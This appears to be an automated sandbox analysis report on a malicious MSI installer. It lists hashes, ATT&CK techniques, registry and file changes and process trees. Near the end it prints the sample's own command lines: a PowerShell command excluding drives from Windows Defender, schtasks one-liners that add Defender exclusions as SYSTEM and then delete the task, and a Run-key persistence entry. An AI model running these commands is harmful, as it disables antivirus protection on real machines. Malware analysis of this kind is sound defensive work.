a19672bbf884684afede222a1326d3cf4b370c4d1412e0965b76d36cb9ada9bc

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/08/2026, 18:44

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General

Target
install_s0up005.msi
Size 7.7MB
Sample260801-xdv3gsteld
SHA256 a19672bbf884684afede222a1326d3cf4b370c4d1412e0965b76d36cb9ada9bc
MD5 70b46d0d6b75f5ca900564c708307e50
SHA1 e70556c0a221d91355c49d9750ec0e53fa1c5f1e
SHA512 fefdb50433d6a3ff661774907e620d49f98b3e640a9fd04cedbd52e572229fcf84f9906c230787b65b2801643fa4f99adfda6b2627db4428a0607d88c66a12c0
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKchey+lr4ywwoKIMzkPV0EG/xPnSin/g8:IA8oKhVeLwUSPVjqSwx
TLSH
T1A58633827E8B2770C05BCBF16A56A17E715E3FC26F3A1C1639D97B4C6D3121600B72A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\eD96Ie = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5700	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
5984	Vw6Z5i.exe

Loads dropped DLL 2 IoCs

pid	Process
1204	MsiExec.exe
5984	Vw6Z5i.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4592	icacls.exe
1488	icacls.exe
5512	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\eD96Ie\\Vw6Z5i.exe\""	Vw6Z5i.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	1204	MsiExec.exe
12	1204	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3248	cmd.exe
2380	cmd.exe
4196	cmd.exe
4948	cmd.exe
5664	cmd.exe
820	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Vw6Z5i.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MZA5dH\image.png	Vw6Z5i.exe
File opened for modification	C:\Program Files (x86)\MZA5dH\XPSPLOG.dll	Vw6Z5i.exe
File opened for modification	C:\Program Files (x86)\MZA5dH\thumbs.db	Vw6Z5i.exe
File created	C:\Program Files (x86)\MZA5dH\sNF34z.exe	Vw6Z5i.exe
File created	C:\Program Files (x86)\MZA5dH\thumbs.db	Vw6Z5i.exe
File opened for modification	C:\Program Files (x86)\MZA5dH\sNF34z.exe	Vw6Z5i.exe
File opened for modification	C:\Program Files (x86)\MZA5dH\image.png	Vw6Z5i.exe
File opened for modification	C:\Program Files (x86)\MZA5dH	Vw6Z5i.exe
File created	C:\Program Files (x86)\MZA5dH\XPSPLOG.dll	Vw6Z5i.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DFC0888D8E6C963F4E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB71.tmp	msiexec.exe
File created	C:\Windows\Installer\e5904cb.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2059D810E8833484.TMP	msiexec.exe
File created	C:\Windows\Installer\e5904c9.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA76.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCC123BE749E809D7.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e5904c9.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB53BFF01C349D3D9.TMP	msiexec.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2356	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4596	msiexec.exe

Executes a command shell one-liner 1 TTPs 14 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5264	cmd.exe
5052	cmd.exe
3304	cmd.exe
5732	cmd.exe
5596	cmd.exe
2480	cmd.exe
5448	cmd.exe
1440	cmd.exe
692	cmd.exe
5128	cmd.exe
2044	cmd.exe
792	cmd.exe
4744	cmd.exe
5392	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up005.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "054164483070034468643B3C4B93A426"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4584	schtasks.exe
5116	schtasks.exe
3900	schtasks.exe
2608	schtasks.exe
3228	schtasks.exe
1056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2836	msiexec.exe
2836	msiexec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe
5984	Vw6Z5i.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4596	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4596	msiexec.exe
Token: SeSecurityPrivilege	2836	msiexec.exe
Token: SeCreateTokenPrivilege	4596	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4596	msiexec.exe
Token: SeLockMemoryPrivilege	4596	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4596	msiexec.exe
Token: SeMachineAccountPrivilege	4596	msiexec.exe
Token: SeTcbPrivilege	4596	msiexec.exe
Token: SeSecurityPrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeLoadDriverPrivilege	4596	msiexec.exe
Token: SeSystemProfilePrivilege	4596	msiexec.exe
Token: SeSystemtimePrivilege	4596	msiexec.exe
Token: SeProfSingleProcessPrivilege	4596	msiexec.exe
Token: SeIncBasePriorityPrivilege	4596	msiexec.exe
Token: SeCreatePagefilePrivilege	4596	msiexec.exe
Token: SeCreatePermanentPrivilege	4596	msiexec.exe
Token: SeBackupPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeShutdownPrivilege	4596	msiexec.exe
Token: SeDebugPrivilege	4596	msiexec.exe
Token: SeAuditPrivilege	4596	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4596	msiexec.exe
Token: SeChangeNotifyPrivilege	4596	msiexec.exe
Token: SeRemoteShutdownPrivilege	4596	msiexec.exe
Token: SeUndockPrivilege	4596	msiexec.exe
Token: SeSyncAgentPrivilege	4596	msiexec.exe
Token: SeEnableDelegationPrivilege	4596	msiexec.exe
Token: SeManageVolumePrivilege	4596	msiexec.exe
Token: SeImpersonatePrivilege	4596	msiexec.exe
Token: SeCreateGlobalPrivilege	4596	msiexec.exe
Token: SeBackupPrivilege	1924	vssvc.exe
Token: SeRestorePrivilege	1924	vssvc.exe
Token: SeAuditPrivilege	1924	vssvc.exe
Token: SeBackupPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeBackupPrivilege	5392	srtasks.exe
Token: SeRestorePrivilege	5392	srtasks.exe
Token: SeSecurityPrivilege	5392	srtasks.exe
Token: SeTakeOwnershipPrivilege	5392	srtasks.exe
Token: SeBackupPrivilege	5392	srtasks.exe
Token: SeRestorePrivilege	5392	srtasks.exe
Token: SeSecurityPrivilege	5392	srtasks.exe
Token: SeTakeOwnershipPrivilege	5392	srtasks.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe
Token: SeTakeOwnershipPrivilege	2836	msiexec.exe
Token: SeRestorePrivilege	2836	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4596	msiexec.exe
4596	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4596	msiexec.exe
2836	msiexec.exe
1204	MsiExec.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 5392	2836	msiexec.exe	94
PID 2836 wrote to memory of 1204	2836	msiexec.exe	96
PID 5984 wrote to memory of 5700	5984	Vw6Z5i.exe	100
PID 5984 wrote to memory of 4196	5984	Vw6Z5i.exe	102
PID 4196 wrote to memory of 5116	4196	cmd.exe	104
PID 4196 wrote to memory of 5208	4196	cmd.exe	105
PID 5984 wrote to memory of 4948	5984	Vw6Z5i.exe	108
PID 4196 wrote to memory of 4260	4196	cmd.exe	109
PID 4948 wrote to memory of 3900	4948	cmd.exe	112
PID 4948 wrote to memory of 3888	4948	cmd.exe	113
PID 4948 wrote to memory of 5544	4948	cmd.exe	115
PID 5984 wrote to memory of 5664	5984	Vw6Z5i.exe	116
PID 5664 wrote to memory of 2608	5664	cmd.exe	118
PID 5664 wrote to memory of 1076	5664	cmd.exe	119
PID 5664 wrote to memory of 1512	5664	cmd.exe	123
PID 5984 wrote to memory of 820	5984	Vw6Z5i.exe	125
PID 820 wrote to memory of 3228	820	cmd.exe	127
PID 820 wrote to memory of 2180	820	cmd.exe	128
PID 820 wrote to memory of 2288	820	cmd.exe	130
PID 5984 wrote to memory of 3248	5984	Vw6Z5i.exe	132
PID 3248 wrote to memory of 1056	3248	cmd.exe	134
PID 3248 wrote to memory of 4116	3248	cmd.exe	135
PID 3248 wrote to memory of 5040	3248	cmd.exe	137
PID 5448 wrote to memory of 2680	5448	cmd.exe	140
PID 1440 wrote to memory of 3308	1440	cmd.exe	141
PID 5052 wrote to memory of 1200	5052	cmd.exe	142
PID 5264 wrote to memory of 3628	5264	cmd.exe	143
PID 3304 wrote to memory of 2764	3304	cmd.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up005.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4596

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5392
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 7073C9A67C4E0CB3A2D97489AB4B5298 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1204

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Users\Public\eD96Ie\Vw6Z5i.exe
"C:\Users\Public\eD96Ie\Vw6Z5i.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eD96Ie\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eD96Ie\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5208
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
